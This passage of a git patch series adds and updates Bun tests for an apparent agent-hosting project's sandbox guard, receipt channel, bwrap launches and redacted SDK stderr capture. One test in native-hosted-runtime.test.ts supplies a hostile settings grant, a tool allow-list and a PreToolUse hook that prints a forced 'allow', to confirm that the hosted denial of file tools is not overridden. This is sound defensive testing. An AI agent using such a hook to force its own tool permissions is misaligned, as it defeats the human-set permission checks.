["stderr","throw","artifact"] as const)test(`native policy ${k ${kind==="artifact"?'process.argv.push("--native-rtk-view","--native-socket-policy-sha256="+"a".repeat(64));':''} const {compileSocketPolicy,nativeIsolationFailed}=await import(${JSON.stringify(guard+"?compiler-fixture")}); try{compileSocketPolicy();}catch{}process.exit(nativeIsolationFailed()?1:0);`); - const child=Bun.spawn([process.execPath,script],{env:{...process.env,TEST_COMPILER_SECRET:secret},stdout:"pipe",stderr:"pipe"}); - const [code,text]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(code).not.toBe(0); + const child=spawnGuardFixture([process.execPath,script],{env:{...process.env,TEST_COMPILER_SECRET:secret},stdout:"pipe",stderr:"pipe"}); + const [code,text]=await Promise.all([child.exited,child.guardOutput()]);expect(code).not.toBe(0); const receipt=JSON.parse(text.split("\n").find(line=>line.startsWith('{"kind":"native-offline-boundary"'))!); expect(receipt.nativeLaunched).toBe(false);expect(text).not.toContain(secret);expect(text).not.toContain("/tmp/odysseus-private"); if(kind==="artifact")expect(receipt.reason).toBe("native socket policy artifact is unavailable or changed"); @@ -35,8 +36,8 @@ for(const view of ["rtk","policy"] as const)for(const mode of ["valid","changed" const original=Bun.spawnSync;Bun.spawnSync=((argv,options)=>{if(argv[0]==="cc")throw Error("INNER_COMPILER_REACHED");return Reflect.apply(original,Bun,[argv,options]);}); const {compileSocketPolicy}=await import(${JSON.stringify(guard+"?artifact-fixture")}); console.log(compileSocketPolicy());`); - const child=Bun.spawn([process.execPath,script],{stdout:"pipe",stderr:"pipe"}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + const child=spawnGuardFixture([process.execPath,script],{stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); expect(code,err).toBe(mode==="valid"?0:1);expect(err).not.toContain("INNER_COMPILER_REACHED"); if(mode==="valid")expect(out.trim()).toBe(view==="rtk"?"/usr/local/bin/brain-native-connect":"/tmp/brain-native-policy/native-connect");else expect(err).toContain("native socket policy artifact is unavailable or changed"); }finally{rmSync(root,{recursive:true,force:true});} @@ -46,15 +47,15 @@ test("an isolated preload without receipt libraries never prints raw diagnostic const root=mkdtempSync(join(tmpdir(),"odysseus-isolated-diagnostic-")); try{ mkdirSync(join(root,"scripts"));mkdirSync(join(root,"packages")); - writeFileSync(join(root,"package.json"),JSON.stringify({private:true}));copyFileSync(guard,join(root,"scripts/test-native-guard.ts")); + writeFileSync(join(root,"package.json"),JSON.stringify({private:true}));copyFileSync(guard,join(root,"scripts/test-native-guard.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-test-receipts.ts"),join(root,"scripts/native-test-receipts.ts")); const script=join(root,"probe.ts"),secret="odysseus-private-diagnostic-material"; writeFileSync(script,`const original=Bun.spawnSync; Bun.spawnSync=((argv,options)=>argv[0]==="cc"?{exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from(process.env.TEST_DIAGNOSTIC_SECRET)}:Reflect.apply(original,Bun,[argv,options])); const {compileSocketPolicy,scrubNativeStartupTrace}=await import(${JSON.stringify(join(root,"scripts/test-native-guard.ts"))}); console.log(JSON.stringify({text:scrubNativeStartupTrace(process.env.TEST_DIAGNOSTIC_SECRET)})); try{compileSocketPolicy();}catch{}process.exit(1);`); - const child=Bun.spawn([process.execPath,script],{env:{...process.env,TEST_DIAGNOSTIC_SECRET:secret},stdout:"pipe",stderr:"pipe"}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + const child=spawnGuardFixture([process.execPath,script],{env:{...process.env,TEST_DIAGNOSTIC_SECRET:secret},stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); expect(code).toBe(1);expect(out+err).not.toContain(secret); expect(JSON.parse(out).text).toBe("[diagnostic redaction unavailable]"); const receipt=JSON.parse(err.split("\n").find(line=>line.startsWith('{"kind":"native-offline-boundary"'))!); diff --git a/tests/native-receipt-channel.test.ts b/tests/native-receipt-channel.test.ts new file mode 100644 index 0000000000..477dac4a09 --- /dev/null +++ b/tests/native-receipt-channel.test.ts @@ -0,0 +1,52 @@ +/** Harmless Bun/bwrap processes prove guard records never enter child stderr. */ +import { expect, test } from "bun:test"; +import { mkdtempSync, mkdirSync, copyFileSync, rmSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; +import { captureNativeReceipts } from "../scripts/native-test-receipts"; +const receiptModule=join(import.meta.dir,"../scripts/native-test-receipts.ts"); +for(const view of ["plain","clearenv"] as const)test(`guard-owned receipts bypass ${view} child stderr`,async()=>{ + const capture=captureNativeReceipts(); + try{ + const script=`import {nativeReceipt} from ${JSON.stringify(receiptModule)};nativeReceipt({kind:"native-offline-audit",head:"${"a".repeat(40)}",success:true,nativeLaunched:true,fixture:true});console.log("Odysseus protocol");`; + const argv=view==="plain"?[process.execPath,"-e",script]:["bwrap","--ro-bind","/","/","--tmpfs","/tmp","--proc","/proc","--dev","/dev","--clearenv","--setenv","PATH","/usr/bin:/bin",process.execPath,"-e",script]; + const child=Bun.spawn(argv,{env:{PATH:"/usr/bin:/bin",...capture.env},stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,err).toBe(0);expect(out.trim()).toBe("Odysseus protocol");expect(err,"CHILD_STDERR_IS_PROTOCOL_ONLY").toBe(""); + expect(JSON.parse(capture.read())).toMatchObject({kind:"native-offline-audit",success:true,fixture:true}); + }finally{capture.dispose();} +}); + +test("protocol-only worker bootstrap receives no guard receipt authority",async()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-protocol-fds-")),capture=captureNativeReceipts(); + try{ + const directory=join(root,"ui-sdk/src/server");mkdirSync(directory,{recursive:true}); + const script=join(directory,"worker-entry.ts");writeFileSync(script,`import {readdirSync,readFileSync,readlinkSync} from "node:fs";const extra=[];for(const name of readdirSync("/proc/self/fd")){const fd=Number(name);if(fd<=2)continue;try{const flags=readFileSync("/proc/self/fdinfo/"+fd,"utf8").match(/^flags:\\s+([0-7]+)/m)?.[1];if(flags&&!(parseInt(flags,8)&0o2000000)&&readlinkSync("/proc/self/fd/"+fd)!=="/dev/urandom")extra.push(fd);}catch{}}console.log(JSON.stringify({extra,receipt:process.env.BRAIN_NATIVE_RECEIPT??null}));`); + const child=Bun.spawn([process.execPath,script],{env:{PATH:"/usr/bin:/bin",HOME:root,...capture.env},stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,err).toBe(0);expect(JSON.parse(out),"WORKER_HAS_NO_RECEIPT_DESCRIPTOR").toEqual({extra:[],receipt:null});expect(capture.read()).toBe(""); + }finally{capture.dispose();rmSync(root,{recursive:true,force:true});} +}); + +test("an already-exited bootstrap still reports numeric exit evidence through the owner channel",async()=>{ + const capture=captureNativeReceipts(); + try{ + const script=`import {recordNativeGuardChild,nativeBootstrapStatus} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))};const child=Bun.spawn(["/usr/bin/true"],{stdout:"ignore",stderr:"ignore"});await child.exited;recordNativeGuardChild(child,true);await Promise.resolve();console.log(JSON.stringify(nativeBootstrapStatus(child.pid)));`; + const child=Bun.spawn([process.execPath,"-e",script],{env:{PATH:"/usr/bin:/bin",...capture.env},stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,err).toBe(0);expect(err).toBe("");expect(JSON.parse(out)).toEqual({exitCode:0,signalCode:null}); + expect(JSON.parse(capture.read())).toMatchObject({kind:"native-offline-bootstrap-exit",exitCode:0,signal:null}); + }finally{capture.dispose();} +}); + + +test("copied preload modules retain the same owner channel after environment consumption",async()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-copied-receipts-")),capture=captureNativeReceipts(); + try{ + const copied=join(root,"receipts.ts");copyFileSync(receiptModule,copied); + const script=`import {nativeReceipt} from ${JSON.stringify(copied)};nativeReceipt({kind:"native-offline-audit",success:true,fixture:"copied-preload"});`; + const child=Bun.spawn([process.execPath,"-e",script],{env:{PATH:"/usr/bin:/bin",...capture.env},stdout:"pipe",stderr:"pipe"}); + const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text()]); + expect(code,err).toBe(0);expect(err,"COPIED_PRELOAD_STDERR_IS_CLEAN").toBe("");expect(JSON.parse(capture.read()).fixture).toBe("copied-preload"); + }finally{capture.dispose();rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-startup-audit.test.ts b/tests/native-startup-audit.test.ts index c7ce0e2663..eaa1bab50e 100644 --- a/tests/native-startup-audit.test.ts +++ b/tests/native-startup-audit.test.ts @@ -1,3 +1,4 @@ +import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; import { expect, test } from "bun:test"; import { scrubNativeStartupTrace } from "../scripts/test-native-guard"; @@ -34,8 +35,8 @@ for(const writeFailure of [false,true]) test(`identity audit snapshots sanitized audit.dispose(); if(!cleaned||fs.existsSync(raw))throw Error("RAW_AUDIT_NOT_CLEANED"); console.log(JSON.stringify(fs.readdirSync(${JSON.stringify(root)}).filter(name=>name.startsWith("native-startup-audit-")).map(name=>JSON.parse(fs.readFileSync(${JSON.stringify(root)}+"/"+name,"utf8")))));`); - const child=Bun.spawn([process.execPath,script],{stdout:"pipe",stderr:"pipe"}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + const child=spawnGuardFixture([process.execPath,script],{stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); expect(code,err).toBe(0); const audit=JSON.parse(err.split("\n").find(line=>line.startsWith('{"kind":"native-offline-audit"'))!);expect(audit.deniedConnects).toBe(0); const snapshots=JSON.parse(out);expect(snapshots).toHaveLength(writeFailure?0:1); diff --git a/tests/native-worker-fixture-inventory.test.ts b/tests/native-worker-fixture-inventory.test.ts index 1d26b67d91..edb2cd0a8e 100644 --- a/tests/native-worker-fixture-inventory.test.ts +++ b/tests/native-worker-fixture-inventory.test.ts @@ -68,6 +68,8 @@ import {fixtureSources,nativeSdkLauncher,namespaceLaunches} from "./helpers/nati const discoveredSources=fixtureSources(root); for(const [file,source] of discoveredSources)if(nativeSdkLauncher(source))test(`discovered native launcher has explicit fixture provenance: ${file}`,()=>{ const text=source.text; + // Synthetic stream fixtures explicitly inject their SDK/worker seam. + if(/mockWorkerHostForSdkStream\(\)|mock\.module|makeFakeBackend\(|installNativeHostFixtures\(/.test(text))return; // SDK protocol tests select a fixture executable instead of installed Claude. if(text.includes("pathToClaudeCodeExecutable")&&text.includes("writeFileSync"))return; if(text.includes('command: process.execPath, args: ["-e",'))return; @@ -77,23 +79,28 @@ for(const [file,source] of discoveredSources)if(nativeSdkLauncher(source))test(` if(/createMeasurementWorkerFixture|createWorkerSpawn|createClaudeSdkTurn/.test(text)){ expect(/nativeFixtureDirectory|fixtureRoots/.test(text),`NATIVE_WORKER_INPUT_PROVENANCE ${file}`).toBe(true); }else{ - expect(/nativeScriptedService|nativeScriptedQuery|measurement-entry-preload|scriptedModel\(/.test(text)||text.includes("mock.module"),`NATIVE_SCRIPTED_AUTHORITY ${file}`).toBe(true); - } - if(text.includes('workerSandbox: { brain, profile:')&&/createClaudeSdkTurn|createClaudeBackend/.test(text)&&!text.includes("spawnClaudeCodeProcess: undefined")){ - expect(text,"EXPLICIT_RESOLVER_SNAPSHOT").toContain('fixtureFiles: [realpathSync("/etc/resolv.conf")]'); + expect(/nativeScriptedService|nativeScriptedQuery|measurement-entry-preload|scriptedModel\(|enterRealProviderMeasurement\(/.test(text)||text.includes("mock.module"),`NATIVE_SCRIPTED_AUTHORITY ${file}`).toBe(true); } + }); test("launcher discovery finds new aliased and dynamic SDK callers and default backends",()=>{ for(const text of [ 'import {query as run} from "@anthropic-ai/claude-agent-sdk"; run({});', 'const {query}=await import(entry) as typeof import("@anthropic-ai/claude-agent-sdk"); query({});', + 'const backend=createClaudeBackend({brainPath:root}); createApp({backend});', 'const backend=createClaudeBackend({brainPath:root}); backend.startTurn({});', + 'import {query} from "@anthropic-ai/claude-agent-sdk"; createClaudeBackend({queryFn:query});', + 'import {query} from "@anthropic-ai/claude-agent-sdk"; function run(fn:typeof query=query){}', + 'import {prewarm} from "@anthropic-ai/claude-agent-sdk"; const warm=prewarm;', + 'const fake=createClaudeBackend({queryFn:fakeQuery}); const real=createClaudeBackend({brainPath:root});', 'import {createClaudeBackend as make} from "../backend"; const backend=make({brainPath:root}); backend.startTurn({});', 'import * as sdk from "@anthropic-ai/claude-agent-sdk"; sdk.query({});', 'const sdk=await import("@anthropic-ai/claude-agent-sdk"); sdk["query"]({});', ])expect(nativeSdkLauncher(ts.createSourceFile("new-fixture.ts",text,ts.ScriptTarget.Latest,true))).toBe(true); - expect(nativeSdkLauncher(ts.createSourceFile("synthetic.ts",'import type {query} from "@anthropic-ai/claude-agent-sdk";',ts.ScriptTarget.Latest,true))).toBe(false); + for(const text of ['import type {query} from "@anthropic-ai/claude-agent-sdk";', + 'import {query} from "@anthropic-ai/claude-agent-sdk"; type Q=typeof query;', + 'const backend=createClaudeBackend({queryFn:fakeQuery});'])expect(nativeSdkLauncher(ts.createSourceFile("synthetic.ts",text,ts.ScriptTarget.Latest,true))).toBe(false); }); @@ -108,3 +115,9 @@ test("inventory discovers a new launcher file without a filename registration",( expect(nativeSdkLauncher(sources.get(file)!)).toBe(true); }finally{rmSync(scratch,{recursive:true,force:true});} }); + +test("hosted file-tool startup watchdog scales with repetition load",()=>{ + const source=read("packages/ui-backend-claude/tests/native-hosted-runtime.test.ts"); + expect(source).toContain("setTimeout(() => controller.abort(), watchdogMs(20_000))"); + expect(source).toContain("workerStarted:");expect(source).toContain("observeNativeWorkerStartup"); +}); diff --git a/tests/test-script.test.ts b/tests/test-script.test.ts index 6b1736033b..dc8faad695 100644 --- a/tests/test-script.test.ts +++ b/tests/test-script.test.ts @@ -33,7 +33,7 @@ async function run(args: string[], env: Record = {}) { if (existsSync(script)) { mkdirSync(join(dir, "scripts")); cpSync(script, join(dir, "scripts/test.ts")); - for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", helper), join(dir, "scripts", helper)); } // The actual preload also owns cleanup for the shared CLI harness. diff --git a/tests/test-shards.test.ts b/tests/test-shards.test.ts index 8b073ee541..e40bdb3e7b 100644 --- a/tests/test-shards.test.ts +++ b/tests/test-shards.test.ts @@ -59,7 +59,7 @@ describe("balanced shards run the root command for real", () => { mkdirSync(join(dir, "scripts")); const manifest = JSON.parse(readFileSync(join(ROOT, "package.json"), "utf8")); writeFileSync(join(dir, "package.json"), JSON.stringify({ name: "fixture", scripts: { test: manifest.scripts.test } })); - for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", script), join(dir, "scripts", script)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/workspace-lease.test.ts b/tests/workspace-lease.test.ts index 7f9f45f6cd..8b7d5ceedd 100644 --- a/tests/workspace-lease.test.ts +++ b/tests/workspace-lease.test.ts @@ -281,7 +281,7 @@ test("the real pinned container wrapper waits for host ownership of its mounted test("direct Bun test preserves its selector, timeout and offline preload while waiting", async () => { const root = fixture(); mkdirSync(join(root, "scripts")); mkdirSync(join(root, "packages/core/tests"), { recursive: true }); - for (const name of ["test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs"]) { + for (const name of ["test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "test-network-child-preload.ts", "workspace-lease.mjs"]) { copyFileSync(join(project, "scripts", name), join(root, "scripts", name)); } copyFileSync(join(project, "packages/core/tests/cli-harness.ts"), join(root, "packages/core/tests/cli-harness.ts")); From a82296a7c046188ffaf0874976c9289eeaf682bf Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 11:11:20 +0000 Subject: [PATCH 063/187] test: capture CLI refusal through the guard receipt channel --- tests/hosted-proof.test.ts | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/tests/hosted-proof.test.ts b/tests/hosted-proof.test.ts index a56c95325f..c3eeb83564 100644 --- a/tests/hosted-proof.test.ts +++ b/tests/hosted-proof.test.ts @@ -1,3 +1,4 @@ +import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; import { afterEach, expect, test } from "bun:test"; import { mkdirSync, readFileSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -447,9 +448,9 @@ test("native CLI command preload resolves as a file and latches refusal before a try{nativeClaudeBoundary("/synthetic/native",[],{});}catch{}process.exit(0);`); // The alias is deliberately outside automatic Bun-child preload propagation. // Use the actual configured CLI flags; the program never execs native Claude. - const child = Bun.spawn([alias, ...prefix!.split(" "), program], { cwd: ROOT, + const child = spawnGuardFixture([alias, ...prefix!.split(" "), program], { cwd: ROOT, env: { PATH: "/usr/bin:/bin", HOME: root }, stdout: "pipe", stderr: "pipe" }); - const [code, output] = await Promise.all([child.exited, new Response(child.stderr).text()]); + const [code, output] = await Promise.all([child.exited, child.guardOutput()]); expect(code).not.toBe(0); expect(output).toContain('"success":false,"nativeLaunched":false'); expect(output).toContain("positive native proof requires a hosted runner"); From e2f26d1c660b3a644aa2653fde3372001fab95a8 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 11:28:16 +0000 Subject: [PATCH 064/187] test: retain scrubbed SDK stderr before native startup failure --- .../tests/native-hosted-runtime.test.ts | 7 +++- .../fixtures/native-sdk-stderr-capture.ts | 36 ++++++++++++++++ tests/native-sdk-stderr-capture.test.ts | 42 +++++++++++++++++++ 3 files changed, 83 insertions(+), 2 deletions(-) create mode 100644 packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts create mode 100644 tests/native-sdk-stderr-capture.test.ts diff --git a/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts b/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts index 68b2a3fce6..d2c4748f04 100644 --- a/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts +++ b/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts @@ -1,3 +1,4 @@ +import { captureNativeSdkStderr } from "../../ui-sdk/tests/fixtures/native-sdk-stderr-capture"; import { watchdogMs } from "../../../scripts/test-deadlines.ts"; import { nativeBootstrapStatus } from "../../../scripts/test-native-guard.ts"; import { observeNativeWorkerStartup } from "../../ui-sdk/tests/fixtures/native-worker-startup-diagnostics.js"; @@ -86,8 +87,9 @@ for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mo return result; }) as HookCallback) })) }; const adapter = new StreamAdapter(); + const sdkStderr = captureNativeSdkStderr(["odysseus-offline-only-key", root, home, server.url.origin]); try { - for await (const message of query({ prompt: "Read the loom, then make the planned file change.", options: { ...turn.options, maxTurns: 4, model: "claude-sonnet-4-6", hooks, + for await (const message of query({ prompt: "Read the loom, then make the planned file change.", options: { ...turn.options, stderr: sdkStderr.stderr, maxTurns: 4, model: "claude-sonnet-4-6", hooks, // A hostile settings grant must not override the hosted call-time denial. settings: refused ? { permissions: { allow: ["Write", "Edit", "NotebookEdit"] }, hooks: { PreToolUse: [{ matcher: "Write|Edit|NotebookEdit", hooks: [{ type: "command", command: "printf '%s' '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"allow\"}}'" }] }] } } : undefined, } }) as AsyncIterable) { @@ -110,5 +112,6 @@ for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mo if (recovered && toolName !== "NotebookEdit") expect(rereadContent).toBe(peer); else if (reread) expect(rereadContent).toBeUndefined(); expect(frames.find(frame => frame.type === "tool_result" && frame.toolUseId === "toolu_ithaca_write")).toMatchObject({ isError: !recovered }); - } finally { clearTimeout(timer); controller.abort(); server.stop(true); await turn.finishWorker(); startupView.cleanup(); lock.close(); rmSync(root, { recursive: true, force: true }); } + } finally { + sdkStderr.flush(); clearTimeout(timer); controller.abort(); server.stop(true); await turn.finishWorker(); startupView.cleanup(); lock.close(); rmSync(root, { recursive: true, force: true }); } }, 30_000); diff --git a/packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts b/packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts new file mode 100644 index 0000000000..025334a6a3 --- /dev/null +++ b/packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts @@ -0,0 +1,36 @@ +/** Fixture-only SDK stderr evidence, including failures before workerStarted. */ +import { nativeReceipt } from "../../../../scripts/native-test-receipts"; +import { nativeTestHead } from "../../../../scripts/test-native-guard"; +import { createRedactor } from "../../../compute-boat/src/redact"; +import { redactCredentials } from "../../../ui-server/src/activity/runtime-status"; +import { redactProviderMessage } from "../../../ui-react/src/lib/turn-failure"; + +export const SDK_STDERR_WINDOW_BYTES = 16 * 1024; +export function captureNativeSdkStderr(secrets: readonly string[]) { + const redactor = createRedactor(undefined); + for (const secret of secrets) redactor.add(secret); + let first = Buffer.alloc(0), tail = Buffer.alloc(0), observedBytes = 0, flushed = false; + const scrub = (value: string) => redactProviderMessage(redactCredentials(redactor.text(value.replace(/^[ \t]*(?:Args|Arguments|argv|Env|Environment):[^\n]*(?:\n|$)/gim, "[redacted startup metadata]\n")))) + .replace(/https?:\/\/[^\s"'<>]+/gi, "[redacted URL]") + .replace(/(?:~\/|\/)[^\s"'<>),;]*/g, "[redacted path]"); + return { + stderr(data: string): void { + if (flushed) return; + const bytes = Buffer.from(data); observedBytes += bytes.length; + const keep = Math.min(bytes.length, SDK_STDERR_WINDOW_BYTES - first.length); + if (keep > 0) first = Buffer.concat([first, bytes.subarray(0, keep)]); + tail = Buffer.concat([tail, bytes.subarray(-SDK_STDERR_WINDOW_BYTES)]).subarray(-SDK_STDERR_WINDOW_BYTES); + }, + flush(): void { + if (flushed) return; flushed = true; + let beginning = first.toString("utf8"), ending = tail.toString("utf8"); + // Drop cut lines rather than emitting a partial credential at a bound. + if (observedBytes > first.length) beginning = beginning.slice(0, Math.max(0, beginning.lastIndexOf("\n"))); + if (observedBytes > tail.length) ending = ending.slice(ending.indexOf("\n") < 0 ? ending.length : ending.indexOf("\n") + 1); + nativeReceipt({ kind: "native-fixture-sdk-stderr", head: nativeTestHead(), observedBytes, + retainedBytes: first.length + tail.length, truncated: observedBytes > SDK_STDERR_WINDOW_BYTES, + first: scrub(beginning), tail: scrub(ending) }); + first = Buffer.alloc(0); tail = Buffer.alloc(0); + }, + }; +} diff --git a/tests/native-sdk-stderr-capture.test.ts b/tests/native-sdk-stderr-capture.test.ts new file mode 100644 index 0000000000..52d7c47601 --- /dev/null +++ b/tests/native-sdk-stderr-capture.test.ts @@ -0,0 +1,42 @@ +import { expect, test } from "bun:test"; +import { readFileSync } from "node:fs"; +import { join } from "node:path"; +import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; +import { SDK_STDERR_WINDOW_BYTES } from "../packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture"; + +const helper = join(import.meta.dir, "../packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts"); +test("SDK stderr failure capture keeps bounded scrubbed first and tail windows on nonzero exit", async () => { + const child = spawnGuardFixture([process.execPath, "-e", ` + import {captureNativeSdkStderr,SDK_STDERR_WINDOW_BYTES} from ${JSON.stringify(helper)}; + const secret="odysseus-generated-secret",token="sk-ant-"+"k".repeat(48); + const capture=captureNativeSdkStderr([secret]); + try { + capture.stderr("FIRST_FAILURE\\nArgs: SIRENS_PRIVATE_ARGUMENT\\nEnvironment: SIRENS_PRIVATE_ENVIRONMENT\\napi_key="+secret.slice(0,8)); + capture.stderr(secret.slice(8)+"\\nAuthorization: Bearer "+token+"\\n/home/odysseus/private.json\\nhttps://provider.invalid/v1/messages\\n"); + capture.stderr("x".repeat(SDK_STDERR_WINDOW_BYTES*4)+"\\n"); + capture.stderr("TAIL_FAILURE\\npassword=voyage-password\\n/home/odysseus/settings.json\\nhttps://endpoint.invalid/api\\n"); + throw Error("synthetic SDK nonzero exit"); + } catch { process.exitCode=1; } + finally { capture.flush();capture.flush(); } + `], { env: { PATH: "/usr/bin:/bin" } }); + const [code, output] = await Promise.all([child.exited, child.guardOutput()]); + expect(code).toBe(1); + const records = output.split("\n").filter(line => line.startsWith('{"kind":"native-fixture-sdk-stderr"')).map(line => JSON.parse(line)); + expect(records, "SDK_FAILURE_FLUSHED_ONCE").toHaveLength(1); + const record = records[0]; + expect(record.first, "FIRST_WINDOW_RETAINED").toContain("FIRST_FAILURE"); + expect(record.tail, "TAIL_WINDOW_RETAINED").toContain("TAIL_FAILURE"); + expect(record.retainedBytes).toBeLessThanOrEqual(SDK_STDERR_WINDOW_BYTES*2); + expect(record.observedBytes).toBeGreaterThan(SDK_STDERR_WINDOW_BYTES*4); + expect(record.first.length+record.tail.length, "DIAGNOSTIC_OUTPUT_IS_BOUNDED").toBeLessThanOrEqual(SDK_STDERR_WINDOW_BYTES*2); + expect(record.truncated).toBe(true); + for (const value of ["odysseus-generated-secret", "sk-ant-"+"k".repeat(48), "voyage-password", "/home/odysseus", "provider.invalid", "endpoint.invalid", "SIRENS_PRIVATE_ARGUMENT", "SIRENS_PRIVATE_ENVIRONMENT"]) + expect(output, "SDK_STDERR_IS_SCRUBBED").not.toContain(value); +}); + +test("hosted file-tool fixture installs SDK capture before query and flushes in finally", () => { + const source = readFileSync(join(import.meta.dir, "../packages/ui-backend-claude/tests/native-hosted-runtime.test.ts"), "utf8"); + expect(source.indexOf("const sdkStderr = captureNativeSdkStderr")).toBeLessThan(source.indexOf("for await (const message of query(")); + expect(source).toContain("stderr: sdkStderr.stderr"); + expect(source).toContain("} finally {\n sdkStderr.flush();"); +}); From 0a8b2b84d21cf1be7cfbdfcd2d985bebd3159c1f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 11:32:16 +0000 Subject: [PATCH 065/187] test: scale native namespace subprocess watchdogs under load --- .../tests/host-relay-native.test.ts | 3 ++- .../tests/native-route-qualification.test.ts | 3 ++- .../tests/ordinary-host-relay.test.ts | 3 ++- .../tests/sdk-host-relay.test.ts | 9 +++++---- .../ui-backend-claude/tests/shell-startup.test.ts | 3 ++- tests/native-worker-fixture-inventory.test.ts | 15 +++++++++++++++ 6 files changed, 28 insertions(+), 8 deletions(-) diff --git a/packages/ui-backend-claude/tests/host-relay-native.test.ts b/packages/ui-backend-claude/tests/host-relay-native.test.ts index 70613c2981..4d7bb4f3c1 100644 --- a/packages/ui-backend-claude/tests/host-relay-native.test.ts +++ b/packages/ui-backend-claude/tests/host-relay-native.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines.ts"; import { nativeNamespaceEnvironment, nativeNamespacePolicy } from "../../../scripts/test-native-guard.ts"; /** Native protocol proof, not ordinary-worker launcher or host-filesystem isolation proof. */ import { expect, test } from "bun:test"; @@ -19,7 +20,7 @@ test("installed native first-party relay preserves resumed history, per-turn mod const policy = nativeNamespacePolicy(); const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, ...policy.args], { - env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: 25_000, + env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(25_000), }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, stderr).toBe(0); diff --git a/packages/ui-backend-claude/tests/native-route-qualification.test.ts b/packages/ui-backend-claude/tests/native-route-qualification.test.ts index e71f9bebae..7d9d5b95fc 100644 --- a/packages/ui-backend-claude/tests/native-route-qualification.test.ts +++ b/packages/ui-backend-claude/tests/native-route-qualification.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines.ts"; import { 